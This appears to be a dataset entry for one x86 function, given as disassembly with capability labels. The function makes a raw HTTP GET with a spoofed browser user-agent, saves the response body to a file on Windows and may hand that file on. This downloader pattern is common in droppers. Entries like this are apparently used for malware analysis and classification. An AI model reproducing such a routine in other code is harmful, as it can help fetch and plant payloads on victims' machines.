Function at 0x40578a
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Reference http user-agent string
Send data
Send data on socket
Send http request
Send http request with host header
Write file on windows

Disassembly:
push ebp
mov eax, 0x104c
mov ebp, esp
push edi
push esi
push ebx
call fcn.004128fc
sub esp, eax
mov edx, dword [0x4182a8]
mov eax, dword [ebp + 8]
lea ebx, [ebp - 0x1028]
mov dword [ebp - 0x102c], 0xffffffff
lea ecx, [edx + 1]
mov dword [eax + 0x614], edx
mov dword [esp + 4], 0
mov dword [esp], eax
mov dword [0x4182a8], ecx
call fcn.00405773
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
call sub.WS2_32.dll_socket
mov dword [ebp - 0x102c], eax
mov eax, dword [ebp + 8]
sub esp, 0xc
mov dword [esp + 8], ebx
mov edx, dword [eax + 0x610]
add eax, 0x204
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.004033a1
test al, al
je 0x405a0d
mov eax, dword [ebp - 0x102c]
mov dword [esp + 8], 0x10
mov dword [esp + 4], ebx
mov dword [esp], eax
call sub.WS2_32.dll_connect
sub esp, 0xc
test eax, eax
jns 0x40584c
xor ebx, ebx
mov eax, 2
jmp 0x405a26
mov eax, dword [ebp + 8]
lea ebx, [ebp - 0x1018]
mov dword [esp + 8], str.GET__s_HTTP_1.1_r_nHost:__s__r_nUser_Agent:_Mozilla_5.0__Windows_NT_6.3__WOW64__Trident_7.0__rv:11.0__like_Gecko_r_nAccept:_text_html_application_xhtmlxml_application_xml_q0.9_image_webp___q0.8_r_nAccept_Language:_en_US_en_q0.8_r_nConnection:_close_r_n_r_n
mov dword [esp + 4], 0x1000
mov dword [esp], ebx
lea edx, [eax + 0x204]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
call fcn.0040afa3
mov dword [esp + 0xc], 0
mov dword [esp + 4], ebx
mov esi, eax
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x102c]
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
cmp eax, esi
jne 0x405840
mov dword [esp + 8], 0x1000
mov dword [esp + 4], 0
mov dword [esp], ebx
call fcn.0040b1ee
mov eax, dword [ebp - 0x102c]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x1000
mov dword [esp + 4], ebx
mov dword [esp], eax
call sub.WS2_32.dll_recv
sub esp, 0x10
test eax, eax
mov esi, eax
jne 0x4058f1
xor ebx, ebx
mov eax, 5
jmp 0x405a26
cmp eax, 0x1000
jne 0x4058fc
mov byte [ebp - 0x19], 0
mov dword [esp + 8], ebx
mov dword [esp + 4], str.200_OK
mov dword [esp], 0
call fcn.0040ade0
inc eax
je 0x4058e5
mov dword [esp + 8], ebx
mov dword [esp + 4], str._r_n_r_n
mov dword [esp], 0
call fcn.0040ade0
cmp eax, 0xffffffff
je 0x4058e5
mov ecx, dword [ebp + 8]
add eax, 4
mov dword [ebp - 0x103c], eax
mov dword [esp + 4], 0x413b2e
lea eax, [ecx + 0x408]
mov dword [esp], eax
call sub.msvcrt.dll_fopen
test eax, eax
mov edi, eax
je 0x405a16
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x103c]
mov dword [esp + 4], 1
sub esi, eax
add eax, ebx
mov dword [esp + 8], esi
mov dword [esp], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [ebp - 0x102c]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x1000
mov dword [esp + 4], ebx
mov dword [esp], eax
call sub.WS2_32.dll_recv
sub esp, 0x10
test eax, eax
mov esi, eax
je 0x4059da
mov dword [esp + 0xc], edi
mov dword [esp + 8], esi
mov dword [esp + 4], 1
mov dword [esp], ebx
call sub.msvcrt.dll_fwrite
cmp eax, esi
je 0x405982
mov dword [esp], edi
xor ebx, ebx
call sub.msvcrt.dll_fclose
mov eax, 4
jmp 0x405a26
mov dword [esp], edi
call sub.msvcrt.dll_fclose
mov eax, dword [ebp + 8]
cmp byte [eax + 0x60c], 0
je 0x405a1f
add eax, 0x408
mov dword [esp + 8], 1
mov dword [esp + 4], 0x413b31
mov dword [esp], eax
call fcn.0040491c
jmp 0x405a1f
xor ebx, ebx
mov eax, 1
jmp 0x405a26
xor ebx, ebx
mov eax, 3
jmp 0x405a26
mov bl, 1
mov eax, 6
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.00405773
lea eax, [ebp + 8]
mov dword [esp], eax
call fcn.00405434
lea eax, [ebp - 0x102c]
mov dword [esp], eax
call fcn.00403b94
lea esp, [ebp - 0xc]
mov al, bl
pop ebx
pop esi
pop edi
pop ebp
ret